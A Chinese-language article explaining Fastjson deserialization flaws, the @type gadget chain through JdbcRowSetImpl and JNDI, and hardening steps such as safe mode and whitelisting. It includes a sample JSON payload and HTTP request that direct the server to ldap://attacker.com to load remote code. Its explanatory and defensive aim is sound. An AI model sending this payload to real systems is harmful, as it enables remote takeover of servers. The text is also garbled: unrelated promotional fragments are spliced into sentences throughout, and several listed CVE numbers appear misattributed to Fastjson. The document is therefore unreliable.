前言 在与一位安全服务工程师交流时 ，震惊我们发现许多开发团队对 Fastjson 漏洞的漏洞认知依然停留在“知道它有问题
，但不清楚具体原因”的背后必须阶段
。尤其是真懂在国内 Java 项目中
，Fastjson 的相开使用频率极高 ，一旦出现漏洞 ，发工影响范围会迅速扩大
。程师本篇文章将带你从原理到防御策略 ，原理完整解析 Fastjson 漏洞的震惊技术细节与风险来源 ，帮助你构建更安全的漏洞后端系统 。模板下载
Fastjson 是背后必须什么？ Fastjson 是由阿里巴巴开源的一款高性能 JSON 处理库 ，常用于 Java Web 应用或移动服务端 。真懂 它的相开核心功能有两类：
序列化 ：将 Java 对象转换为 JSON 字符串反序列化 ：将 JSON 字符串转换为 Java 对象 在 Maven 项目中
，引用方式通常如下 ：
复制<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> </dependency>1.2.3.4.5. 虽然使用方便
，发工但反序列化的程师强大功能
，也为攻击者提供了可乘之机
。
核心问题 ：反序列化风险 Fastjson 的主要漏洞集中在反序列化过程中
，多次被分配 CVE 编号 ，例如 ：
CVE-2017-18349CVE-2020-2883CVE-2021-21351 这些漏洞的亿华云本质是 ：当解析恶意构造的 JSON 数据时 ，会触发某些类的危险方法，最终导致远程代码执行
。
反序列化原理回顾 在正常场景下，反序列化是一个非常有用的功能
：
复制{ "name":"张三","age":20}1. Fastjson 会将其转换为 Java 对象 ：
复制User{ name="张三", age=20}1. 然而 ，Fastjson 为了支持多态反序列化 ，引入了一个特殊字段 @type ，允许指定反序列化目标类 ，例如 ：
复制{ "@type":"com.example.User","name":"张三","age":20}1. 这会告诉 Fastjson 直接实例化 com.example.User 。问题也由此产生 。源码下载
漏洞利用链解析 攻击者可以在 @type 中填入系统中存在的“危险类”（gadget 类），并构造特殊参数 ，从而触发恶意操作。
示例攻击数据
：
复制{ "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true}1. Fastjson 解析过程 ：
解析 @type → 实例化 JdbcRowSetImpl调用 setDataSourceName() → 传入恶意 LDAP 地址调用 setAutoCommit(true) → 触发 JNDI Lookup服务器访问 ldap://attacker.com → 下载并加载攻击者类远程代码执行
，攻击者获得服务器控制权为什么会出现这种漏洞
？ 根本原因有三点 ：
缺乏对 @type 的类限制：早期版本几乎可以反序列化任意类自动调用 Setter 方法 ：反序列化时会自动执行类的 setterJNDI + gadget 类：当类中包含 JNDI 调用（如 JdbcRowSetImpl）时 ，构成了远程代码执行链 哪些情况有风险 ？
从不可信来源（用户输入 、HTTP 请求）解析 JSON使用低于安全版本的 Fastjson（如 1.2.83 之前版本）项目类路径中存在可利用的 gadget 类（JdbcRowSetImpl
、TemplatesImpl 等）攻击场景实例 HTTP 恶意请求 ：
复制POST /api/user HTTP/1.1 Host: vulnerable.com Content-Type: application/json { "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/poc","autoCommit":true}1.2.3.4.5.6. 服务器处理流程 ：
接收请求体JSON.parseObject(requestBody) → 进入反序列化流程触发 gadget 类方法 → 远程加载恶意类攻击者获得服务器权限 安全加固建议 在 com/icoderoad/security/FastjsonSafeConfig.java 中 ：
复制package com.icoderoad.security; import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonSafeConfig { public static void applySecurityConfig() { // 开启安全模式
，禁用 AutoType ParserConfig.getGlobalInstance().setSafeMode(true); // 如果必须使用 @type ，则开启白名单 ParserConfig.getGlobalInstance().addAccept("com.icoderoad.safe."); } }1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18. 四条防护铁律：
版本升级：至少升级到 1.2.83 及以上版本安全模式：setSafeMode(true) 禁用 AutoType白名单机制：仅允许指定包的云计算类反序列化输入验证 ：永远不要反序列化未经严格校验的 JSON关键认知 Fastjson 漏洞不是孤例，它反映了 Java 反序列化的共性问题 。Apache Commons Collections 、Jackson 也曾出现类似风险 。安全性更多依赖配置与使用方式 ，而不仅仅是依赖库版本。
结论 在 Java 生态中 ，反序列化漏洞是一个反复出现的安全挑战 。Fastjson 因其灵活性和高性能广泛被采用 ，源码库但这种灵活性在缺乏限制时同样会成为攻击者的武器。作为开发者
，必须在项目中贯彻“默认安全”的理念：保持依赖更新 、启用安全模式
、严格限制可反序列化的类型 ，并彻底避免解析来源不明的数据 。唯有如此
，才能在保证开发效率的同时 ，真正守住系统的安全防线 。香港云服务器